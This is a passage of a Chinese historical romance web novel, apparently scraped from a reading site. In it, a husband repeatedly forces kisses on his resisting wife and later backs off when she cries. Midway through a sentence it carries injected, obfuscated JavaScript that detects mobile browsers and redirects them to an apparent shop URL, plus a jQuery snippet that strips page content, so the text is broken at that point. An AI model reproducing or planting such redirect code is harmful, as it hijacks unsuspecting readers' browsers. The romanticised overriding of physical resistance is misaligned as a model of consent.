积压在马车里的所有晦暗情绪彻底爆发,陆瓒毫不留情地碾过薛缨的唇瓣,撬开她的齿关,攻城略地。
薛缨用力推拒陆瓒的胸膛,指尖掐进了他胸前柔软的衣料,喉间溢出愤怒的呜咽。可他的手臂如铁箍般收紧,将她更密实地压向自己,吞没了她所有徒劳的抵抗。
渐渐地,心头的愤怒在陆瓒的掠夺里变了调。
她推拒的力道不知不觉松懈了,身体在他的掌控下微微发软,一种令人心慌的酥麻从相贴的唇瓣蔓延至四肢百骸,某个被遗忘在记忆深处的画面,猛地撞进脑海。
那个荒诞的春梦里,也是这般被禁锢的姿势,这般滚烫的呼吸,甚至……唇齿间辗转的力道都如此相似。
现实与梦境轰然重叠。
薛缨猛地睁大眼睛,瞳孔里映着陆瓒近在咫尺的睫羽。她挣扎起来,比先前更甚,像是被戳破心事后的狼狈逃避。
陆瓒敏锐地察觉到了妻子突然加剧的抗拒和眼底深切的慌乱,略略退开半分。
她脸颊潮红,唇瓣微肿,上面还残留着属于他的水色,睫毛颤抖得厉害,可那双水润的杏眸里,是近乎哀求的退避。
没错,退避。
她果然还是……不肯接受他。
……
翌日薛缨醒来时,恍惚了片刻,下意识地抬手碰了碰自己的唇瓣,似乎还有些微异样的感觉。
床侧已空,薛缨尽力将那些混乱的画面从脑海中驱散,敷了厚厚的妆粉和口脂遮掩未褪的红肿,去赴柳芳菲的约。
柳芳菲熟门熟路,领着薛缨在翰墨轩和后街的书市钻来钻去,竟真让薛缨配齐了残缺的话本,还得了两本远游客极少流传的短篇集子。
薛缨忍不住好奇,寻常官宦小姐如何能找到这么多隐秘书源?
柳芳菲露出一抹狡黠又自豪的笑,用极低的声音告诉了薛缨一个惊天秘密。
她就是远游客!
那个笔锋奇诡、布局千里,被无数书迷追捧的远游客?薛缨以墨屎先生之名与远游客做了近三年的笔友,从微时到走红。
她抓住柳芳菲的手臂,还给柳芳菲一个惊天秘密:“我就是墨屎呀!”
笔友相见,薛缨索性将柳芳菲带到自己长租的包厢,一个铺纸写作,一个研墨构图,偶尔抬头,或会心一笑,或争论几句,茶凉了又换,日影悄然西斜,竟都浑然不觉。
直到暮色四合,薛缨才惊觉时辰已晚,匆匆告别柳芳菲赶回陆府,只是忙中出错,忘了将下午的画稿放在包厢,不小心和新得的宝贝话本一并带了回来。
回府时天已黑尽,陆瓒已端坐在明间的八仙桌旁等她。
他的脸色十分难看,像是积雨的阴云,视线扫过点翠和靛青抱进来的书匣,问:“夫人今日去买书了?”
薛缨刻意忽视昨日在这扇门后发生的插曲,故作无所谓道:“是呀,昨儿和柳三姑娘约好的。”
不知陆瓒又在为了什么不高兴。
陆瓒极短促地笑了一声,脸色阴沉得几乎能滴出水来,幽幽地道:“夫人可还记得,前几日,是你主动邀我,说今日一同去昌平街,给我定制一条新玉带。”
“啊……”薛缨整个人僵在原地,如遭雷击!
她想起来了,是有这么件事。那时细棉寝衣尚未裁好,她想着陆瓒帮了自己大忙,又送过她一支贵重的梅花钗,便提出给他定制一条玉带,还了这人情。
后来与柳芳菲一见如故,约定逛书铺,薛缨满心欢喜,将这事忘得干干净净!
难怪陆瓒又生气了。他定好的事,向来按部就班、风雨无阻地完成,这厢被她放了鸽子不算,还眼睁睁看着她和旁人玩到尽兴才回家,自然心中有火。
但没关系,薛缨急中生智,已然有了对策。
“瞧我,只顾着给大公子选礼物,竟把这事忘了!”
薛缨作出懊恼自责的样子,在陆瓒疑惑的目光里,从书匣后面取出下午新作的画,还没来得及装裱取名,现诌道:“下午在翰墨轩后面的书市上淘到了这个,我又不懂这些,拿给好几个懂行的朋友看,验过了真伪,才敢带回家里,送给大公子。”
说着,将未裱的一卷素纸展开,放到陆瓒手中。
既然上次陆瓒能发现她改过他的画,也能识破冒充墨屎弟子的骗子,那么定然也能看出,这画是她这位“墨屎先生”亲自所作。
果然,陆瓒的目光落在那展开的素纸上,原本沉郁的神色似乎凝住了片刻,随即,仿佛被什么骤然攫住了心神。
他抬手示意侍立一旁的丫鬟拿灯过来,暖黄的光晕蓦然笼住纸面,也映亮了他低垂的侧脸,修长的手指极轻地抚过纸缘,微微停顿,唇角极细微地动了一下,像是要牵起一个弧度,又立刻抿紧了,取而代之的是一种更深的困惑。
薛缨清楚他在困惑什么。
纸太新了,墨也太新了。
但一个不懂画的人不该知道他在困惑什么,于是薛缨紧张道:“怎么了,该不会是假的吧?”
“不是假的。”陆瓒心底生出一股细微的暖流,悄然沁入方才还有些冷硬的心田,耐心解释:“多半是画师临时起意画给亲故,结果被人转手抛到市面出售。”
果然自有大儒为她辩经。
陆瓒抬眼看向薛缨,灯光下,妻子雪腮微红,眼神清澈,似乎在忐忑地观察他的反应,看他是否喜欢她的礼物。
她虽不懂画,却记着他的喜好,甚至为了一幅不知真伪的画作,去找朋友验证过后来才拿到他面前。
陆瓒眼底坚冰消融,低头为薛缨拉开圈椅,温声道:“这么晚才回来,饿了吧?”
这算是过关了。
薛缨暗喜,开开心心动筷,八仙桌上的气氛为之一松。饭后,丫头捧上漱口茶,却不是惯用的甘草陈皮茶。
薛缨端起茶盏嗅了嗅,是一种清冽微甘的香气。
“味道如何?”低沉的男声几乎贴着她的耳廓响起,温热的气息拂过她敏感的颈侧,“我新调的。”
男人凑过来的过程无声无息,薛缨仿佛一只误入陷阱的小鹿,反应过来时已经晚了,鼻端全是他身上那股清冽又温暖的气息,让她脑中一阵晕眩。
这姿势,这距离,这萦绕不散的气息……猝不及防地,将她瞬间拉回昨日门板后那般无措的境地。
薛缨一颗心砰砰直跳,神思恍惚间,陆瓒的吻趁虚而入,轻轻落在了她的唇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575435|204606||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
角。
触感微凉,残存着昨日未曾熄灭的火星,刹那间燎原。
圈椅发出一声轻微的吱呀,薛缨只觉腰身一紧,天旋地转间,整个人已被陆瓒打横从椅中抱起。
她低呼一声,下意识攥紧了他胸前的衣襟。
陆瓒将她轻轻放倒在锦褥之上,床榻微陷,他随之俯身,颀长的身影倾倒下来,将她完全困在身下。
薛缨的抗拒如同石沉大海,手腕被他温热的手掌轻易握住,缓缓压向枕侧。他唇上的力道不仅未减,反而更深重地碾磨下来,舌尖探入,淡雅的茶香变成攫取她呼吸的迷香,搅乱了她所有的思绪。
他的吻太深,太凶,却又在某个瞬间,流露出一丝仿佛渴求回应的颤抖。她被迫仰着头承受,意识像是飘在滚烫的水面上,浮沉不定。
近乎蛮横的唇齿交缠间,薛缨的身体在他强势的掌控下,不受控制地发软。一丝连自己都无法理解的、从身体深处悄然涌上的陌生战栗飘摇而上,让她感到了灭顶的羞耻与惊惶,恐惧他的靠近,更恐惧自己不该有的反应。
她忍不住呜咽着哭出声来:“唔……不……”
陆瓒的动作猛地僵住,所有的侵略性在瞬间凝固,褪去。
他缓缓松开她,指腹有些生疏地擦过她湿漉漉的脸颊,触手一片冰凉。
他看着她惊惧含泪的眼眸,那里面映出自己此刻近乎狼狈的身影,无端地忽然想起她曾说过的一句话。
——这世间,恐怕没有我喜欢的男子。
那时的陆瓒并未多想。
于她而言,他的情动,他的所有靠近,终究只是令她厌恶的冒犯?
心口蔓延开细密而尖锐的痛楚,混杂着铺天盖地的无力感。陆瓒彻底松了手,退开两步,拉开一个足以让她感到安全的距离。
“……别哭了。”他的声音沙哑得厉害,转身去桌边倒了杯温水,递到她手边,目光避开她泪痕交错的脸。
薛缨微微抽噎着,接过微温的杯子,指尖还在不受控制地轻颤。杯壁的温度透过皮肤传来,却暖不了心头那片冰冷的混乱。
最终,陆瓒动了身,缓步走到床边,在薛缨的警惕里,拿起她近日正看的一本《璇玑录》,翻到夹着书签的那一页,退回到离床榻不远不近的罗汉床上,就着灯光,开始读书里的故事。
语调平缓,收敛了一切情绪。
薛缨抱着被子,经历过方才情绪的大起大落,紧绷的身体慢慢放松,最终抵不住疲倦迷迷糊糊睡了过去。
听着薛缨逐渐均匀绵长的呼吸声,陆瓒合上了书,隔着罗汉床与拔步床的距离望过去,月光透过窗纱,洒在她犹带泪痕的睡颜上。
许久,一声极轻的自语逸出唇边。
“还有……一年零一十七日。”
……
接下来的日子,仿佛又回到了刚成亲的时候,两人井水不犯河水,除了必要的对话外,几乎不会闲谈。
天气一日日热起来,五月第一个旬沐的前一日,陆瓒回府后主动叫住了薛缨,通知她,圣上许了他一个半月探亲假。
按礼,她该随他南下归阳府,拜见外任德南布政使的公爹陆允章,及婆母柳静宜。